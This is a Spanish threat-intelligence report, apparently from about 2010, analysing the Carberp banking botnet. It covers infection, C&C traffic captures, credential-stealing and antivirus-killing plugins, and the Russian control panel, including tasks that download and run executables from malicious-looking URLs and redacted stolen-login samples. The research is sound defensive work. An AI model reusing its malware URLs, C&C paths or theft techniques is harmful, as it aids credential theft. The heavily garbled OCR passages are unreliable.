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IMPORTANT: This document is technical in nature and has information relating to web addresses, IP addresses,
routes downloading binaries, among others, that are directly related to the infection strategies and criminal
processes carried out by cybercriminals.

Therefore, we recommend the responsible use of information provided in the present, being under the exclusive
and sole responsibility of the reader for any inconvenience that may arise depending on the mishandling and
misuse of the data presented.

The paper also has accurate information of the results obtained from the study. Therefore, and by the very nature
of the research process has not been provided to 100% of the data collected, but more data are available by
sending the request to the author.
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Introduccion

Carberp remonta sus inicios a principios de 2010, pero no ha sido hasta los Ultimos meses del
afo en cuestion cuando ha saltado la alerta de las compafiias de antivirus, tras descubrir ciertos
mecanismos empleados hasta entonces por un nuevo malware.

Esta ventana de tiempo, de la cual gozd el cdédigo malicioso asociado a la botnet Carberp
significa, fundamentalmente, que ha estado operando durante meses con un ratio de deteccion
muy bajo. Incluso, solo algunas de sus caracteristicas hacian alertar algunos productos antivirus
confundiendo su actividad con Zbot, el troyano de ZeusS.

Carberp fue catalogado en febrero de 2010 como trojan-downloader, lo cual provocd que hasta
mediados de septiembre este malware estuviera catalogado como un trivial downloader
disefiado para automatizar el proceso de descarga de otra pieza de malware, cuando realmente
se habia convertido en una amenaza muy compleja.

Por otro lado, Carberp es privado y no se dispone de ninguna informacion sobre como adquirir
el crimeware, lo cual se evidencia en los pocos C&C que posee; y sin lugar a dudas, esta
categorizacion de “recurso delictivo privado” lo mantuvo, y adn hoy lo hace, alejado de los
indices de deteccion.

El presente documento expone una descripcion en detalle de cada una de las piezas que integra
la cadena delictiva que se genera a través de Carberp. Desde sus diferentes generaciones,
pasando por los componentes internos hasta el proceso de comercializacion del Malware Kit.

Version en inglés
http://www.malwareint.com/docs/inside-carberp-botnet-en.pdf

Version en espafiol
http://www.malwareint.com/docs/inside-carberp-botnet-es.pdf
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Generaciones

La primera aparicion publica de Carberp es como un trojan-downloader, algo muy distante a lo
que se acabaria convirtiendo.

A partir de su segunda generacion, el crimeware incorpora los recursos necesarios para crear
una botnet controlable a través del protocolo HTTP con comunicacion directa con su C&C,
afnadiendo ademas un complemento (plugin) llamado Grabber, encargado de habilita el robo
de credenciales de una larga lista de aplicaciones que en futuras paginas se detalla.

La tercera generacién, es la que actualmente se encuentra implementada en muchos de los
C&C In-the-Wild, y la que se ha sido objeto de investigacién por Malwarelntelligence.

Esta version aparecié a principios de septiembre y es, la que en gran medida, alerté a las
compafias antivirus. Incorpora dos nuevos plugins que se cargan bajo los archivos
“stopav.cfg” y "miniav.cfg”. Sin embargo, se han detectado otros plugins diferentes en
algunos C&C que evidencian la posibilidad con la que cuentan los delincuentes que se esconden
detras de Carberp se escalar funcionalidad en la botnet adquiriendo una serie de plugins
opcionales.

Proceso de infeccion

Carberp puede infectar una importante gama de plataformas de la familia Microsoft, entre ellas:
Windows 95/98/Me/NT/2000/XP/Vista, Windows Server 2003/2008 y Windows 7. Una vez que
se ejecuta en el sistema operativo victima, realiza las siguientes operaciones:

Infeccion del sistema
Para evitar restricciones del UAC (User Account Control), crea los archivos en carpetas que no
requieren permisos de administrador, tales como Startup, Application Data y Temp.

A diferencia de otros codigos maliciosos, Carberp no requiere permisos de Administrador para
comprometer el sistema, porque no crea ni realiza modificaciones en el registro, sino que se
ejecuta directamente en memoria. Es decir, Carberp tiene que ser activado cada vez que el
sistema es reiniciado.

La reactivacion luego de cada reinicio se ejecuta mediante una copia alojada en la carpeta
Startup. En caso de explorar esta carpeta accediendo a ella desde el Explorador de Windows o
a través de linea de comandos, no sera posible visualizar el binario ejecutable de Carberp. Esta
caracteristica se debe a que Carberp posee técnicas de rootkit para ocultarse dentro del
sistema.

Una vez que ha infectado el sistema, se inyecta en varias APIs para lograr ocultar sus archivos,
incluyendo APIs desarrolladas para supervisar todo el trafico que pasa por la maquina.
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Primeras conexiones al C&C

La primera conexion con el C&C se realiza contra el archivo first.html, enviando a través del
parametro POST el ID Unico que identifica al bot como perteneciente a determinada botnet de
Carberp, v la lista de procesos que se encuentran en ejecucion durante ese momento.

Tl Follow TCP Stream = a'x

Stream Content

POST JSset/first.html HTTR/L.1

Host:

User-agent: Mozillasd.0 (compatible; MSIE 7.0; windows NT 5.1; Trident/4.00
ACCept: text/shtml

Connection: Close

Content-Type: applicationx-www-form-urlencoded

Content-Length: 459

id=gshCC06F74CHB9ADSDDES13CFE974 04,4043 SCC&0S =W ndows%2 0xPE20ServiceX¥20Pack®
203&pTlist=system¥2Csmss¥2Eexe¥2Cosrss¥2EaxeX2Cwinl ogon¥2Eexek2Cservicesk¥lEexe¥2C sassk
2Eexe¥2Cvboxseryice¥2Eexe¥2Csvchost%2Eexe%2Csvchostk2Eexe%2Csvchost¥2Eexe%2Csvchost%2Eexe
¥2Csvchost¥ZEexe¥2Cexplorerk2Eexe¥2Cspon] svk2 Eexek2ovhoxtray¥2Eexek2cctfmon%2 Eexe¥®2cal gk
2Eexe¥2CiexploreX2Eexe¥2CiexploreX¥2Eexe¥2Cwireshark¥2Eexe¥2Csvchost¥2EexeX2Cdumpcapk2Eexe
%2Csvchost%2Eexe%2CsvchostX2Eexe

Find || Sawe As || Print | Entire conversation (698 bytes) v ASCII EBCDIC Hezx Dump C Arrays (@) Raw

Help Filker Qut This Stream

Figura 1 — Envio de ID y procesos al C&C

En la segunda conexién con el C&C hace uso de Drive-by para descargar y ejecutar los plugins
passw.plug, stopav.plug y miniav.plug. A continuacién, descarga el archivo que posee la
configuracion de la botnet, dentro del directorio /cfg/, en este caso llamado gsbcc:

7 Follow TCP Stream = gaix

Stream Conkent

GET /cfgsgsbcc HTTR/L.L

User-agent: mMozillas4.0 (compatible; mMsIE 7.0; windows NT 5.1; Tridents4.0)
HostT:

Cache-control: no-cache

HTTP/ 1.1 200 OK

server: nginx/0.6.39

Date: sun, 17 oct 20010 18:40:41 GMT
Content-Type: applications/octet-stream
Content-Length: 29613

Last-modified: sat, 16 oct 2010 16:35:44 GMT
Connection: close

Accept-pranges: bytes

BJ 24?695?8 ;. 1.8..21. CEOEM. L. E8>;..... H e , 5<. . 0=Tkpn
............. [ .........awnqv...5........(2?“....P_
Rt)SFm
T . LU, .. 66AMTx. .. .. %
“lSc...#Zdu ...... L X o [ T, I |
[ T 1le, ... L.&-]. $'Fmt><q {Tg) h bW, L egfpj.. er/ ...... Wrl... .. &]
aHumk " Tk1.9. ... ... . e 28 (= zde....& ........ R 4, Pvxbk8+—.uU., v 25U,
wiap. .. 5. aa ...... Covennn B3.8"0fgvhg. 3. .. .. ... bo.o... WhL L.
.. bwome o m. 8v o]
L AU = mogl. . ... . T~ hSkif.zoo ool hoo... [ p=|
g9 ...... uchvqo ' grp Xg. a |F1. .Hw...;7AQ.+E. . ..=bk+c.../
LD khfE goLp. ...l Ll 0Z.uevnnn- —&f{cBd. P fo+g. ... L. . B0}

VG .. 5y sZLm Tl e =co0ooocooMocnoa B cogaooao Ttip
LML CLkve: Fo&sht. ..., 0 owe, .. #Ug).. ... YW L. 2
........ Y (2.9...!........
$oogp. .. be{d. ... .. wth. ... 0]
......... WOWT. o ol e e o 3727000 Q8w w] Imf]
L At B S o -
Eind || Save As || Brint | Entire conversation (29939 bytes) L ASCIT EBCDIC Hezx Dump C Arrays (90 Raw

Help Filker Qut This Stream

Figura 2 — Peticion de archivo de configuracion
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Por ultimo, mantiene su comunicaciéon con el C&C para comprobar si existe configurada alguna
tarea que deba realizar.

T Follow TCP Stream - g'x

Stream Content

POST Jset/stask.htm] HTTR/1.0

HOsT:

User-agent: Mozillas4.0 (compatible; MSIE 7.0; windows NT 5.1; Trident/4.0)
Accept: text/shtml

Connection: Close

Content-Type: application/x-www-form-urlencoded

Content-Length: 41

Jd=gshccO6F74CAEYADODDESL3CFE074 04 AD 35CCHTTR,/L. 1 200 OK
server: nginx/0.6.39

Date: sun, 17 oct 2010 13:40:42 GMT

Content-Type: textyshtml; charset=utf-g

Connection: <lose

X-Powered-By: PHP/5.2.14

Pragma: no-cache

Expires: Q

vary: Accept-Encoding, User-agent

content-Length: 8

no tasks
Find || Sawe As || Brint | Entire conversation (530 bykes) w | () ASCIT () EBCDIC () Hex Dump () C Arrays (@) Raw
Help Filter Qut This Stream Close

. us

Figura 3 — Peticion de tareas a realizar

Para ello, como puede observarse en la Figura 3, la peticidon POST se realiza contra el archivo
task.htm/ que en este caso no contempla tareas cargadas [0 tasks].
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Carberp Comando & Control

El centro de comando y control [C&C] se alimenta constantemente con informacién robada
desde las computadoras infectadas. Este proceso de inteligencia es realizado a través de una
serie de plugins. Por defecto el paquete incorpora tres llamados passw.plug, stopav.plug y
miniav.plug.

Plugin passw.plug

El plugin passw.plug de Carberp es el encargado de robar las credenciales de acceso a
diferentes servicios alojados en el sistema victima. Como mencionamos anteriormente, todas
aquellas credenciales relacionadas al navegador son obtenidas al embeberse a las APIs, pero
ademas, cuenta con una lista de programas predefinidos de los cuales es capaz de obtener las
credenciales y enviarlas al C&C.

Lista de programas soportados por el plugin es:

- AIM - ForteAgent - Pandion

- AIMPro - FreeCall - Pidgin

- AOLInstantMessenger - FreeFTP/DirectFTP - PocoMail

- ASP.NETAccount - Frigate3FTP - QIP

- AppleSafari - GAIM - QIP.Online

- Becky - GizmoProject - Remote Desktop
- BitKinex - GmailNotifier Connection

- BlackwoodPRO - GoogleChrome - RimArts

- BulletProofFTPClient - GoogleTalk - Safari

- CamFrog - GrayBox - SaxoTrader

- CiscoVPNClient - GroupMailFree - ScotTrader

- ClassicFTP - ICQ2003/Lite - ScreenSaver9x

- CoffeeCupFTP - ICQ99b-2002 - Scribe

- CoreFTP - IncrediMail - SecureFX

- CuteFTP - InternetExplorer - SIM

- Dev Zero G FTPUploader - JAIC - SmartFTP

- Digsby - LeapFTP - SoftXFTPClient

- DirectoryOpus - LTGRoup - TheBat!

- Eudora - MSNMessenger - Trillian

- ExcitePrivateMessenger - Mail.RuAgent - Trillian Astra

- ExpanDrive - MailCommander - UltraFXP

- FARManagerFTP - Mbt - WebSitePublisher
- FFFTP - Mirabilis - WS_FTP

- FTPCommander - MirandaIM - Wi

- FTPExplorer - MozillaFirefox - WinSCP

- FTPRush - MySpaceIM - WinSCP 2

- FTPUploader - Odigo - WinVNC

- FTPWare - Opera - Windows /

- Faim - Opera 9 Beta TotalCommander
- Filezilla - Outlook - WindowsCredentials
- FinamDirect - POPPeeper - WindowsLiveMail
- FlashFXP - PSI - WindowsLiveMessenger
- FlingFTP - Paltalk - Yahoo!Messenger
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Las siguientes imagenes son ejemplos mediante los cuales es posible visualizar las conexiones
al C&C donde se reportan credenciales o forms:

72 Follow TCP Stream = gi'x

Stream Conkent

POST Sget/fgr.html HTTR/L.1

Host: . com

User-agent: mMozillas4.0 (compatible; MSIE 8.0; windows NT 5.1; Tridents4.0)
Accept: textshtml

Connection: Close

content-Type: application/x—www—Torm-urlencoded

Content-Length: 476

Td=gshcc06F74C6E9A0IDDESLICF 97404 AD4 3 5CC&brw=1&Type=1&dat a=ht T ps X3 A2 FX2 Fewwi2 EQoog ] eXZ E<om
%2Faccounts®irserviceloginauth®3rerCcrPosTEsAltmpl%sDdefault%26ltmpl cache¥302%2 6cont i nuek
Sohttp®2 53a%252F%252Fmal 1%2Eqoog] ek Ecom%2 52Fmat 1¥2 52 F%2 53F%26servicek3omal 1%26rm¥3ofalsek
26dsh#3076921241 0679073107 8% 26 1 tmpl%3pdefault®26Ttmp T3 pdefaul t#2 65 CcCH3DL%Z 6T imestmpi3 D%

265 ecTok¥30E26GALXE30T loHGERPRWIX26EMa] 1%30ma Twar eint¥2 6Passwd¥3bcarberptes t¥26rmShown¥301%
ﬁ&signIn%BDAcceder%Zﬁasts%BD

Eind | | Save &s || Brint | Entire conversation {713 bytes) w | () ASCID () EBCDIC () Hex Dump () C Arrays (90 Raw

Help Filker Out This Stream

Figura 4 — Envio de credenciales para acceder a Gmail

Tl Follow TCP Stream = gai'x

Stream Content

POST Aoetssni.htm] HTTR/L.1

Host: . com

User-Agent: Mozillasd.0 (compatible; MSIE 7.0; windows WT 5.1; Tridents4.00
accept: textyshtml

Connection: Close

Cantent-Type: applicationx—www-Torm-urlencoded

Content-Length: 107

d=gshccO6F74CE6E9ADODDB413CFEO7404 AD4 3 5CC&base=TtpX¥3a%2FX¥ZFtestingk3atesting®d Ocpanel3®
ZEwWNnpower®2EComiiall
|

Eind || Save s || Brink | Entire conversation (344 bytes) e | () ASCIT () EBCDIC () Hex Dump () € Arrays (©) Raw

Help Filter Ouk This Stream

Figura 5 — Envio de credenciales de acceso a cuenta FTP
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Plugin stopav.plug

El plugin stopav.plug es el encargado de deshabilitar la proteccion del programa antivirus
instalado en el equipo victima, para evitar la deteccion del malware en el sistema. Los antivirus
que son objeto de este plugin son:

« ESET NOD32 Antivirus
e ESET Smart Security
* ArcaVir Antivirus

« AVGS

*« Mcafee Antivirus

e Avast!

e Avastb

e Avast4

e Microsoft Security Essentials
e Sophos

« DrWeb

+ BitDeffender

« Avira

Plugin miniav.plug

El plugin miniav.plug sigue la estela entre las “guerras” de creadores de malware, al igual que
SpyEye detecta y desinfecta a sus victimas que previamente han sido infectadas con alguna
variante del troyano de ZeuS, Carberp sigue sus pasos eliminando (desinfectando) el malware
de una bateria de crimeware:

e ZeuS

« Limbo

« ImageFileExecution

« Barracuda And BlackEnergy

+  MylLoader
» Adrenalin
* Generetic
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Carberp C&C Panel

El C&C Carberp presenta un falso mensaje de “7his account has been suspended’ cuando se
accede al raiz del sitio.

This account has been suspended

Figura 6 — Mensaje falso de Carberp

En versiones anteriores el mensaje era “404 — Not found'. Para entrar en el C&C, hay que pedir
la pagina de login directamente desde /accounts/authorization.htmi.

Bxoa Ha caWT

Figura 7 — Panel de Login del C&C

Como se puede observar en la figura 7, el C&C estd en ruso y no hay opcién alguna de
establecer otro idioma. Esto es una prueba mas, de que este malware no busca una
comercializacion a gran escala como lo hacen ZeuS o SpyEye, sino que esta orientado a un
mercado muy especifico.

10
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Primeros datos

Una vez logueados en el panel, nos aparece la siguiente informacion:

. Admin!

> 8. 8
v % % Buxon

FnaBuan borel 3apavna  Jlorn Kab daitnel  Hacrpoiikm  lNonk3oBatenu

NHcpopmauna o JinueHsnmn

Mpuesazka no IP: oTcyTCTRYeT

.com
.com
.com
.net
.com
.in

MpHBA3Ka N0 AoMEHy:

WNHcpopmauun o MO
OnepayHoHHan CHCTeMa: Linux 2.6.18-194.11.3.el5 (x86_64)
Bpewma paboTel OC: 9 4acoB, 23 MHHYTHI, 6 CEKYHA,
Mawmnars (Bcero [ caobonno): 3,74 GB / 25,04 MB
Swap (Bcero / ceobogHo): 4GB/ 4GB
3arpyska OC (3a 1/5/15 MuHYT): 2,62/2,79/2,43
Bepcns BebCeprepa: Apache/2
Bepcua PHP: 5.2.14
Bepcus Zend Optimizer: 3.3.3
Bepcna Smarty: 2.6.26

Bepcua GeolP Country: GEO-106FREE 20100901
Nucphopmauua o MySQL
Bepcua MySQL: 5.0.51a-community
BpemMsa paboTel MySQL: 9 yacos, 21 MHHYTA, 41 cexkyHaa

Konnuecreo Tabnuy;: 13

O6wmii pasuep bJ1: 114,37 MB

Mons3oBarenu
rpadmen
BOThI
Kab daiine
Noru
Fnasuas

Hacrpoiikn

Monw3zoBaTenu oHnanH

MocnegHsas aKTMBHOCTh
2010-10-10 03:19:26

Figura 8 — Informacion que se visualiza inmediatamente después del acceso a
Carberp
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Otra muestra mas de su privatizacion. Todos los C&C de este crimeware definen un modelo de
licencia que funciona solamente en el servidor donde se aloja el paquete y bajo una serie de
dominios previamente definidos.

Como medida auto-defensiva, en caso de violacion de la licencia el C&C no entra en
funcionamiento. Los mddulos usados en este C&C son:

Miembros: version 1.0.0.2
Graficas: version 1.0.0.1
Bots: version 1.0.0.1
Archivos Cab: version 1.0.0.2
Logs: version 1.0.0.1

Inicio: version 1.0.0.3
Preferencias: version 1.0.0.0

Estado de la botnet

La siguiente pestafia del menu ofrece estadisticas sobre el estado de la botnet:

FnaBHas bGoTel 3ajanua  Jlorw Kab ¢aiinel  Hacrpoiikm Mons3oBarenn

Cratuctuka boTtoe

BoToB BCEro: 314946
EOTOB BCEro HOBLIX: 44410 (14.10%)
BOTOB BCEro aKTHBHLIX: 270013 (85.73%)
BoToe 2a 24 yaca: 116923 (37.12%)
boToB 3a 7 gHei: 178011 (56.52%)
boToB 3a 1 Mecsl: 314729 (99.93%)

Pazuep bl (uuda botoa): 71,81 MB 3 256 TB (0.00%)

CraTucTuUka npoueccos

Npouyeccos Bcero: 122437

Pa3uep B[l (uuda botoa): 10,15 MB 13 256 TB(0.00%)

Figura 9 — Numeros de la botnet

Bots totales: 314.946

Bots nuevos: 44.410

Bots activos: 270.013

Bots activos las ultimas 24h: 116.923

Bots activos los ultimos 7 dias: 178.011

Bots activos el ultimo mes: 314.729

Tamaiio de la BD (info bots): 71.81MB (no incluye logs)

Estos datos dan una idea de la capacidad de infeccion de Carberp, logrando en algunos C&C
investigados por Malwarelntelligence superar los 500.000 zombis solo en un mes.

12
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Modulo de estadisticas

El modulo que ofrece informacion estadistica es uno de los principales de la botnet,
proporcionando datos relevantes sobre los sistemas operativos infectados y acceso directo a los
logs de estos.

La primera muestra la cantidad de sistemas operativos infectados discriminados por paises.
Permitiendo seleccionar un pais en particular para acceder solo a los registros de ese pais.

En las pestafias de la derecha, podemos obtener diferentes graficos sobre los sistemas
infectados:

_Tpachmk "Bee”
chart by amCharts com

W 2ustralia

% Tpacpuk cTpan (sce)
W Betrus

[ cermany [ Australia
Isras| OcTansbia- |
Netheriands \

- Belarus

: - Germany
Russin Federation Uniled States - /

M ukraine A \ 8
\ /
B united States \ fpr
Ukraine
W ocranshee 3 .

~ Israel
~ Netherlands

'~ Russian Feceration

Figura 10 — Geolocalizacion de los bots

_Ipacpuk "oc”
chart by amCharts.com

B winoows seven

I WiNDOWS VISTA SERVICE PACK 1 2 Tpachux OC

[ WINDOWS VISTA SERVICE PACK 2

WINDOWS XP SERVICE PACK 2

Oeranshbie-
|

OcTanbhbla | | _ WINDOWS VISTA

‘I / / SERVICE PACK 1

\ / / _ WINDOWS VISTA

| /-‘ / ~" SERVICE PACK 2

/

WINDOWS XP SERVICE PACK 3 - WINDOWS SEVEN

~ WINDOWS XP
~ SERVICEPACK2

WINDOWS XP_~
SERVICE PACK 2

Figura 11 — Sistemas Operativos de los bots
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Tpachuk "AHTUBHPYCH
chart by amCharts.com

B & Ipachu AHTusupycht
B nonae

KIS

Outpost Ocransubie

DriWeb |

WCAlee

W avest

M ccransunie

Figura 12 — Antivirus de los bots

Informacion de Bots

Desde las pestafas de la izquierda contiene las siguientes opciones:

Cnanias  hom  Jagases  fore Kol dailne  Macrpodon  DNonsosarsng

Ci panal Hee

Mpa darns

Macwa P [7]:

Hoane GoTa oo (e mend {17

CapTypaekn

wew =31 ASETEI 0N Sam
ARSI A0 8 CTEAMAL S ET s 1D Rewe s B omon: 1SS

Ll Mpagam: P T AR moeeaT

L] HOLLYLAND ATITALLER IO P00D VI FAB (GMT + 3 o
L] HESLLYL AN [EREoRET - 20000 210 % [GHT + B o
[ ] HOLLGSEREN SLLARLAFC AL 08, L0, FO00 16257 (GMT « 3 =
[ ] NSBCC B, 102, 208,50 PRI DR IEIT (GHT « 3 o

Se muestran todos los bots correspondientes a todas las botnets de 100 en 100. En el mend
superior se pueden escoger varias opciones para acotar los resultados:

Botnet: Todos los bots o excluir solo para una botnet (config) de la botnet global.

Mascara IP: Permite realizar busquedas por IP o con mascara, por ejemplo 127.0.0.1.
Tiempo de vida expresado en minutos: Permite buscar los bots que han estado online al
menos un nlimero determinado de minutos.

Tiempo de vida expresado en horas: Lo mismo que lo anterior.

Ordenar: Para ordenar la informacién de forma ascendente o descendente.

14
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Al hacer clic sobre la informacion de cada bot, se despliega la siguiente pantalla con
informacion relacionada al bot:

Hicpopuaymn o fote #2215
L

Crana

oc

P

Mepawi oreryr:

Neene gunii pas Gen:

MuHMHENSHOS BREMA HERRY 0T CTyROM:

MancHManbHoe BReMi MERLY OF Oy KoM:

Bpemn musnn Guia;

CRexenne 33 boTowu:

NusHan KoMManaa &

system
smss.exe
csrss.ee
winlogoen, exe
servives. sme
Isass.exe
svehost, exe
swchost. exe
svchost. exe
svehost. exe
swchost. exe
spoolsy. exe
wgatray. exe
explorer. exe
svchost. exe
AYrSMSVC Exe
ESFEs.exe

foves.acae
ekrn. exe

mdm. exe
syntpenh. exe
thotkey. exe
tpsmain. exe
ndstray.exe
smoothvirw. sxe
ddwmon.exe
topi exe
Igfxtray. exe
hkemd awe
Igfepers. suem
rthdepl exe
trayhar axe
raadar_claxe
ufesagnt eva
equi, axa
cfsson. axe
ctfmen.exe
tosedspd, exe
menmsgr.exe
Igfssrec, exe
seaport. exe
cec_main.exe
tpebattm, exe
sfeticom. axe
swchost. exe
tappsrv. exe
swehost. exe
svchost. exe

toddsry. exe

HOLLGSRRRBORDC6E0RTTISRE 71901 SRRERITITE0R206
Epain

Windows P Service Pack 3

22104

19,09, 20010 16:15:47 (GMT +2)
D0.10, 2000 04: 11: 23 (GMT + )

13 cexyna

L gete, 44aca, 33 MiHy el 5 cexyny

L8 gued, L1 wacus, 55 wnnyr, 36 ceryns

suxnioveno [ECITIET

Cnucok npouyeccos

Cnucok noroe

Hazsanne panaa

OL.10.2010.txt
04.10. 201 0. txt
08.10, 201 0.t xt
26,09, 20000t xt
20,09, 201 0. txt

noCHCTPETR
AoCHCTPETRE
MOCUCTPETE
NOCHOTPETE

NoCHETpETS

CRaMaTh
(= £0F
CEAMATH
cRavaTs

cKavarts

UID: Identificador Unico en la
botnet.

Pais: Pais.

0S: Sistema Operativo.

Lista de procesos: Lista de
procesos enviada en el
momento de la infeccion.

Logs: Son todos (grabber,
formgrabber, sniffer) los logs
reportados al C&C por el bot
ordenados por dias en un
archivo de texto.

Ademas de las opciones
mostradas, existe una opcion
de "Seguir” al bot. Esto da la
opcion de que cualquier cambio
en los registros sea notificado
al botmaster.

Ejemplo de una url dentro de
un log:

https://login.live.comy/ppsecure/
post.srf?wa=wsigninl.0&rpsnv
=11&ct=1286261827&rver=6.0
.5285.08&wp=MBI&wreply=http
./mail.live.comy/default.aspx&Ic
=1043&id=64855&mkt=n/-
NL&bk=1286261830?/POST:log
in=XXXXX@hotmail.com&passw
=XXXXXX&type=11&LoginOpti
Log=28MEST=&PPSX=Passpor
&ss0=&i1=18&2=2&/3=3918&i4
=&i8=&i9=&i10=&i12=1
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Mddulo de bisquedas

Formulario de busqueda de bots:

iTe, Admin!

4 Buon

CnagHas  GoTel  3ajanms  Jlorm Kab gaiinel  Hacrpoiikn  MonszoBatenn

R ==—

p—

—n;—“~“5—
[N He yvThiBaTE
CopTupoexa: ESEELTEREEE]

ObHoaNTE

R
MaKeumankHo Ha cTRaHUALE cTRAH; 100 Bcero Gorom: 0

* MonHe UID CTpaHa P

<<s <1z 22>

Figura 14 — Formulario de bisqueda

En la opcién “config” se encuentran los archivos de configuracion que utilizan los sistemas
infectados junto a los plugins que dispone el C&C. Por defecto, Carberp solo trae 3 plugins que
son: stopav.plug, avmini.plug y passw.plug. Lo mas probable es que el resto de plugins hayan
sido adquiridos como opcion extra.

8 & guvon

Tnasuas BGorel 3agamus  Jlorm  Kab daitnel  Hacrpoikn Monbzosarens

HaasaHwe haina Pa3smep [laTa cozganua
angelofluck 11,02 kB 06.09.2010 22:09:30 (GMT +3)
bottester 73B 09.09.2010 19:56:59 (GMT +3)
dania 8,79 kB 06.09.2010 22:09:42 (GMT +3)
deoddvir 3,34 kB 06.09.2010 22:09:44 (GMT +3)
gsb 28,09 kB 11.10.2010 04:04:22 (GMT +3)
hollgsbbbb 28,09 kB 11.10.2010 04:04:39 (GMT +3)
hollmonk 13,97 kB 07.09.2010 03:16:29 (GMT +3)
hollyland 24,07 kB 27.09.2010 16:02:53 (GMT +3)
hotkins 8,79 kB 06.09.2010 22:11:58 (GMT +3)

XX XXKXXXXX

istest 1,4kB 11.09.2010 20:05:48 (GMT +3)
miniav.plug 645,96 kB 06.09.2010 22:12:54 (GMT +3)
mn.plug 34,01 kB 08.10.2010 16:56:12 (GMT +3)
monkholl 13,66 kB 06.09.2010 22:12:57 (GMT +3)

passw.plug 1,33 MB 06.09.2010 22:15:03 (GMT +3)

stopav.plug 586,08 kB 06.09.2010 22:15:49 (GMT +3)

testscreen 1021 B 18.09.2010 01:49:01 (GMT +3)
vnc.plug 60,01 kB 11.10.2010 13:23:10 (GMT +3)
whwh 9,71 kB 09.10.2010 01:05:04 (GMT +3)

Figura 15 — Archivos de configuracion
Los demas archivos sin la extension plug son las configuraciones para los diferentes botnets

Carberp de este C&C. Por los nombres, se pueden distinguir diferentes configuraciones por
paises o algunas pruebas del propio botmaster.

16



Malwarelntelligence Inside Carberp Botnet

Administracion de tareas

En esta pestafia se muestra las tareas mas recientes que el botmaster ha realizado y la opcion
de afadir nuevas tareas.

ETY yie, Admin!

R 8 & puson

InasHas boTel 3apawns  Jloru Kab daiinel  Hacrpoiiku  ons3oBarenu

Homman na

update http:rototo22 infgsbeeupd exe 40012 Uz =
update http:(jrototo22.infgsb. exe 6239 s »n

S 12839 o7 x

United States ce e download httpi//85220 hoster-test.ru/pioyeing exe 782 osx

Figura 16 — Menu tareas

En este caso particular pudimos ver tres tipos de tareas diferentes: update, getwm'y download.
La tarea update sirve para que los sistemas infectados que se conecten al C&C, y que cumplan
con el perfil requerido, actualicen su version del bot. Mientras que getwm solicita a los bots sus
credenciales del popular servicio WebMoney. Por Ultimo, down/oad descarga un archivo definido
por el botmaster y lo ejecuta.

Este tipo de opcién es muy usada por los botmasters para ejecutar programas de servicios Pay-
Per-Install, de los cuales ya hemos hablado en Malwarelntelligence en varias ocasiones.
Estas tareas seran recibidas por el bot cuando se conecten al C&C en busca de tareas nuevas. A
la hora de afiadir una nueva tarea aparece el siguiente menu:

Aobasrene sananus

Tun koMManael (2):

Inasnan

- crpaua (7);

enenit Cratyc (7): Bcem 2

OrpaHuyeHue no konuyecrey (7):

Sl e

Mpednkc (7):

— - ]

NobasuTe

Figura 17 — Afiadir tareas
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En el cual se requieren las siguientes acciones:

Inside Carberp Botnet

Tipo de tarea: Seleccionar de la lista o escribir un comando tipo update.

Pais: Escoger el pais para la tarea. Puede ser cualquiera.

Estado: Seleccionar el estado de los bots que ejecutaran la tarea.
Limitar a un nimero: Limitar el nimero de bots que ejecutaran la tarea.
Limitar bot: Después de ejecutar esta tarea, el bot no ejecutara nuevas tareas si la opcion

estd marcada.

Botnet: Seleccionar para qué botnet (config) es la tarea.

Link: Si la tarea requiere un link.

Modulo de registros

El menu Logs es uno de los mas importantes de Carberp, ya que da la posibilidad al botmaster
de acceder a todo tipo de informacién relacionada a cada uno de los bots.

Esta dividido en los siguientes submenus: Grabber, Formgrabber, Sniffer, Trade, Diam,

Screens.

En grabber encontramos los logs de los bots capturados por el plugin “passw.plug”. Al acceder
nos encontraremos con la siguiente pantalla:

Crucok nanok-npeukcos

Mpedine
ANEWRSDF
ANGELOFLUCK
BEANGOFLCK
DANIA
DEODDVIR
666
GlazPLAzzz2222222222
aLenk
Gsp
Gsaec
HOLLANGOFLCK
HoLLGSBBEE
HOLLMONK
HoLLoDDVTR
HOLLYLAND
HoTkNs
1sTEST
MONKHOLL
RNULCRPTTEST
RUODDVTR
RUTEST
SEMTRA
sran
SUKATEST
TesTBOT
TesTER
TESTERBLA
TEsTRU
TESTSCREEN
TESTSREEN
TRSSSSS
UsAoDDVTR
2xsABANK

Figura 18 — Botnets del C&C

Observamos que esta
estructurado por las diferentes
botnets que componen el C&C.

En este caso vamos a observar
la botnet GSB, que es una de
las que estan operando
actualmente.
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Al seleccionar la botnet, se despliega la visualizacion de todos los registros de cada bot,
ordenados por dias y permitiendo ademas descargar una copia del archivo en texto plano (.txt).

%0 % puxon

Tnaswas  botbl 3apauun  Jlorn Kab daiinel  Hacrpoiiku  MNonb3oBatenu

Cnucok dainos npedukca "HOLLODDVTR"

| | Mpeduke Pasmep

| 01.08.2010.txt 5,15 MB nocMoTpeTs  ckadars 3
u 01.09.2010.txt 34,24 MB nocMoTpeTs  ckadars 3§
] 02.08.2010. bxt 7,22 MB nocmotpers  ckauars 3
] 02.09. 2010, txt 19,63 MB nocmoTpers  ckauars 3
] 03.08.2010.txt 7,88 MB nocuotpers  ckauars 3
] 03.09.2010. bxt 20,96 MB nocMoTpers  ckauars 3§
] 04.08.2010. txt 15,18 MB nocMotpers  ckauars 3
| | 04.09.2010.txt 9 kB nocMoTpers  ckauars 3
] 05.08.2010.txt 4,45 MB nocMotpers  ckauars 3
] 06.08.2010. bxt 8,99 MB nocMotpers  ckauars 3
] 07.08.2010.txt 4,58 MB nocMoTpers  ckauars 3§
] 08.08.2010.txt 14,7 MB nocMoTpers  ckauars 3§
n 09.08.2010.txt 10,33 MB nocMoTpeTe ckadars ¥
| 10.08.2010.txt 4,94 MB nocMoTpeTs  ckadars ¥
| | 11.08.2010.txt 4,4 MB nocMoTpets  ckavars 3§
| 12.08.2010.txt 4,77 MB nocqoTpers ckadars 3
n 13.08.2010.txt 4,63 MB nocMoTpeTs  ckauars ¥
| 14.08.2010.txt 926 B nocMoTpere  ckavare 9
| | 15.08.2010.txt 563 B nocMoTpeTs  ckavare 3§
[ | 16.08.2010.txt 118 kB nocMoTpere  ckavare 3§
n 17.08.2010.txt 25,53 MB nocuoTpers  ckauars ¥
[ 18.08.2010.txt 78,74 MB nocuoTpers  ckauats 3
= 19.08.2010.txt 13,28 MB nocMoTpers  ckauath ¥
o 20.08.2010.txt 1.31 MB nocMoTpeTh  ckadats 3

Figura 19 — Logs del grabber de la botnet seleccionada

Ejemplo de Log:

#END##START#InternetExplorer#NAME#
http.//www.werkspot. nl/ @@ @XXXXX@hotmail.com . XXXX
